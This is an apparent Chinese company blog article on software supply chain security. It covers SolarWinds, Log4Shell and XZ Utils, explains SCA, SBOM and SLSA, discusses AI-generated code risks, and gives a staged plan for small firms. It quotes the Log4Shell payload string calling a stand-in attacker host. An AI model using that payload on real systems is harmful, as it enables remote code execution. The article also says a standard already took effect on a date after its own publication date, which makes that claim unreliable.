软件供应链安全:一个被99%的公司忽视的定时炸弹
软件供应链安全:一个被99%的公司忽视的定时炸弹

软件供应链安全:一个被 99% 的公司忽视的定时炸弹

2026-07-20 · 美辰信息技术 · 阅读约 15 分钟

信源:OWASP Top 10:2025、Veracode《Software Supply Chain Security: The Complete Guide》(2026-07)、GB/T 47020-2026《软件物料清单数据格式》、USENIX Security 2025 AI 生成代码研究、OpenSSF Scorecard、Forrester 供应链攻击数据、安全牛《2026 年 AI 驱动的 SDLC 及软件供应链安全技术应用指南》

一、先看三个把「供应链」这个词写进董事会纪要的事件

2020 年 12 月,安全公司 FireEye 在排查自身被入侵时,发现了一条谁也想不到的路径:俄罗斯攻击者先把后门植入了 SolarWinds Orion 平台的官方更新包,再由 SolarWinds 用自己的数字签名把带毒更新推送给包括美联储、美国能源部、国防部在内的约 1.8 万家机构。所有防病毒软件都放行了,因为这是「合法签名的官方更新」。

2021 年 12 月,Apache Log4j 2.x 的 CVE-2021-44228(Log4Shell)被公开。攻击者只需在日志里写入一段 JNDI 查询字符串 ${jndi:ldap://attacker.com/a},就能在受影响程序中执行任意代码。因为 Log4j 被数百万个微服务和容器化应用间接引用,短短几天内全球约 1000 万台服务器受波及,被安全圈称为「互联网核弹」。

2024 年 3 月,XZ Utils(几乎所有 Linux 发行版都默认使用的压缩库)被发现后门。攻击者用两年多时间,通过社会工程学逐步成为项目维护者,然后在 5.6.0 与 5.6.1 版本里植入了一个专门劫持 SSH 登录的后门。如果不是微软一位工程师发现 sshd 登录速度异常变慢、顺藤摸瓜查下去,这个后门不知道会被埋多久。

这三个事件的共同点,不是「某个程序员写错了代码」,而是:攻击者没有攻击你的业务代码,他们攻击的是你信任的那条链。

二、现代软件的真相:你以为你只写了 5 万行代码

先做个小实验。一个普通 Java 项目,你可能只写了 5 万行业务代码。但打开 Maven 依赖树:

my-application → spring-boot → spring-core / spring-context / ... → jackson-databind → logback → netty → 数百个传递依赖

最终真正运行在服务器上的软件,其实由这几部分共同构成:你的代码 + 开源代码 + 第三方 SDK + 构建工具 + 基础镜像 + CI/CD 流水线。这条完整的链路,就是「软件供应链」。

行业数据显示,现代应用中开源组件占比普遍超过 80%,某些行业甚至达到 78%–90% 的应用都包含开源代码。而一份第三方统计给出了更刺眼的结论:47% 的组件新版本存在漏洞,且只有少量漏洞被有效通报与修复。

大多数开发者只知道自己直接引用的那十几个包,剩下的都是「依赖的依赖」——你根本不知道它们是谁写的、有没有人维护、有没有安全问题。软件的「黑盒」状态,正是供应链攻击最肥沃的土壤。

三、为什么只做代码扫描(SAST)已经不够了

很多公司的安全模型还停留在:写代码 → SAST 扫描 → 发现漏洞 → 开发修复。但这个模型在 2026 年已经严重不够用。因为攻击者不一定要在你的业务代码里找 SQL 注入,如果能控制下面任何一环,一样能进生产环境:

  • 开源依赖(npm / Maven / PyPI 软件包)
  • GitHub Actions 等 CI/CD 插件
  • CI/CD Runner 与构建服务器
  • Docker 基础镜像
  • 制品仓库(Artifact Repository)

一个极端但真实的场景:源码完全干净、SAST 通过、SCA 通过、密钥扫描通过,安全团队全部打勾。但如果构建服务器被攻破:

Git 源码(干净)→ Clean → 被污染的构建服务器 → 恶意制品 → 生产环境

结果:源码是干净的,但线上跑的软件是恶意的。

这就是为什么在 OWASP Top 10:2025 中,A03 已经变成 "Software Supply Chain Failures"(软件供应链失效)。软件供应链,正式成为现代应用安全最重要的风险领域之一。

四、三层防线:SCA、SBOM、SLSA

2026 年,围绕供应链安全已经形成一套相对成熟的工程体系。对中小企业来说,不必一次性全上,但必须知道每层解决什么问题。

第一层:SCA —— 解决「有没有已知漏洞」

SCA(Software Composition Analysis,软件成分分析)扫描你的依赖树,对照已知 CVE 数据库给出风险清单。它是 DevSecOps 里最基础也最重要的一环,重点要盯的不只是 CVE,还有:

  • 恶意软件包(Malicious Package)
  • 依赖混淆(Dependency Confusion)——攻击者发布同名公共包,利用解析优先级让你的构建下载到恶意版本
  • 域名抢注(Typosquatting)——包名拼写近似,如把 requests 写成 requestss
  • 依赖项目停止维护、维护者账号被攻击
  • 构建流程被篡改

评估一个开源组件时,不应该只问「有没有 CVE」,还应该问:项目是否持续维护?Maintainer 是否活跃?是否启用了 Branch Protection?Release 流程是否安全?是否使用 Code Review?OpenSSF Scorecard 就是针对这个方向的自动化安全评估工具,可以优先选用治理成熟的组件。

第二层:SBOM —— 解决「我到底用了什么」

SBOM(Software Bill of Materials,软件物料清单)就是软件的「配料表」。它列出软件产品中所有组件——包括直接依赖和传递依赖——的名称、版本、来源和许可证信息。当一个新的高危漏洞被披露时,拥有完整 SBOM 的团队可以在几分钟内精确定位所有受影响的组件和位置;没有 SBOM 的团队,可能要花几天甚至几周做人工排查。

Log4j 爆发时,很多公司花了好几周甚至几个月才搞清楚自己到底有哪些系统用了受影响版本。问题不是「修不了」,而是「不知道要修哪些」。SBOM 解决的就是这个资产可见性问题:

CVE → Component → Application → System → Owner

2026 年,SBOM 已经从「可选项」变成「基础数据」。国内的 GB/T 47020-2026《网络安全技术 软件物料清单数据格式》已于 2026 年 8 月 1 日正式实施;美国白宫行政令 14028 早已把 SBOM 列为向联邦政府提供软件的强制性要求。未来的软件资产模型很可能是:Application → Release → Artifact → SBOM → Component → Supplier → CVE/License。

第三层:SLSA —— 解决「这个制品是怎么构建出来的」

镜像扫描回答了「有没有漏洞」,镜像签名回答了「从哪里来」,但都无法回答一个更根本的问题:这个制品到底是怎么构建的?构建过程可信吗?

SLSA(Supply-chain Levels for Software Artifacts,软件制品供应链级别)由 OpenSSF 发起,定义了从 L0 到 L3 的渐进式安全等级,核心是 Build Provenance(构建出处证明):证明生产环境里运行的软件,确实来自可信源码、经过可信构建、且没有被篡改。成熟流程应该是:

Source → Verified Build → Build Provenance → Artifact Signing → Verification → Deployment

实践建议:从 L1 起步,先让 provenance 在 CI 中可追溯;达到 L2 后签名 provenance 并上传到透明度日志;L3 需要加固构建基础设施,适合对安全性要求极高的生产环境。

五、2026 年的新变量:AI 把供应链边界重新画了一遍

如果说上面的问题是从 2020 年积累到今天的「旧账」,那么 2026 年出现了真正的新变量——AI 写代码。

Gartner 预测,到 2028 年,90% 的企业软件工程师将使用 AI 代码助手。代码生产的主体,正从单纯的开发者,扩展为「人 + 大模型 + 智能体 + 工具链」。这带来三类全新风险:

  • AI 编码原生漏洞:模型生成的代码可能存在安全缺陷,而开发者容易对 AI 输出产生过度信任。
  • 幻觉依赖与 Slopsquatting:USENIX Security 2025 的研究分析了 57.6 万个 AI 生成代码样本,发现约 20% 引用了并不存在的 Python 或 JavaScript 包,且 43% 的幻觉包名在相似提示下被一致复现。攻击者只要注册这些「被 AI 幻想出来的包名」,就能精准投毒。
  • AI 开发工具自身成为攻击面:2026 年以来,Cline CLI 供应链投毒、Claude Code 凭据泄露等事件接连出现,MCP 生态也出现了 Rug Pull、沙箱逃逸等新手法。AI 开发工具,已经是我们软件供应链的一部分。

一个关键变化是:AI 开发会产生动态、隐式的依赖,传统 SCA 工具难以完整识别;「影子 AI」现象则让企业资产底数更加不清。这也是为什么 2026 年业界开始讨论 AIBOM(AI 物料清单)——它像 SBOM 一样,但记录的是模型元数据、数据集资产、Prompt 上下文与 Agent 基础设施。

政策层面已经跟上:2026 年,国家标准项目《人工智能代码生成服务安全要求》进入制定阶段,直接覆盖提示词注入、代码安全与幻觉检测、插件沙箱、最小权限、供应链完整性、SBOM、命令执行控制以及 Agent 自主行为的人机介入与鉴权。换句话说,AI 代码不能成为安全流程的旁路。

六、中小企业今天就能落地的六步路径

大厂有安全团队,小公司可能全公司没有一个做安全的人。这恰恰是风险最高的地方——因为你往往连自己暴露在哪都不知道。但供应链安全不是必须「一步到位」,下面这条路线是从零到可用的最小可行路径:

  1. 阶段 1:资产可见——先把 Application / Repo / Owner 理清楚,知道每个项目归谁管。
  2. 阶段 2:代码安全——接入 SAST 与密钥扫描(Secret Scan),至少不要在代码里硬编码密钥。
  3. 阶段 3:组件安全——引入 SCA 与许可证检查,建立「新引入依赖必须过扫描」的规矩。
  4. 阶段 4:供应链可见——每次正式 Release 自动生成 SBOM,并与版本、Git Commit、构建 ID 绑定。
  5. 阶段 5:安全流水线——设置 Security Gate 与 Policy as Code,例如「Critical 且可达 → 阻断;High 且面向公网 → 阻断;Medium → 建工单」。
  6. 阶段 6:漏洞闭环——打通 CVE → Asset → Owner → Fix,让每个高危漏洞都有明确负责人和 SLA。

这条路线的核心不是「堆工具」,而是逐步建立三个能力:软件供应链的可见性、可验证性和可追溯性。

七、结语:这不是合规问题,是生存问题

回到文章开头的问题。Log4j 爆发时,很多公司的第一反应是「我们没用 Log4j 吧」,然后在依赖树里发现自己的系统里有四十多个地方间接引用了它。这就是供应链安全最反直觉的地方:你暴露在什么风险之下,往往不是你能凭记忆回答的。

2026 年,SBOM 有了国标,AI 生成的代码开始进入安全治理范围,供应链从「采购阶段填问卷」走向「技术验证」——甲方会问:有没有 SBOM?有没有高危漏洞?用了哪些开源组件?制品是否可验证?漏洞响应 SLA 是什么?

对中小企业来说,软件供应链安全最核心的改变其实是认知层面的:它不是「合规问题」,是「生存问题」。因为你不可能防住一个你根本不知道存在的依赖。而把这层「不知道」变成「知道」,成本比大多数人想象的低得多——从生成第一份 SBOM 开始。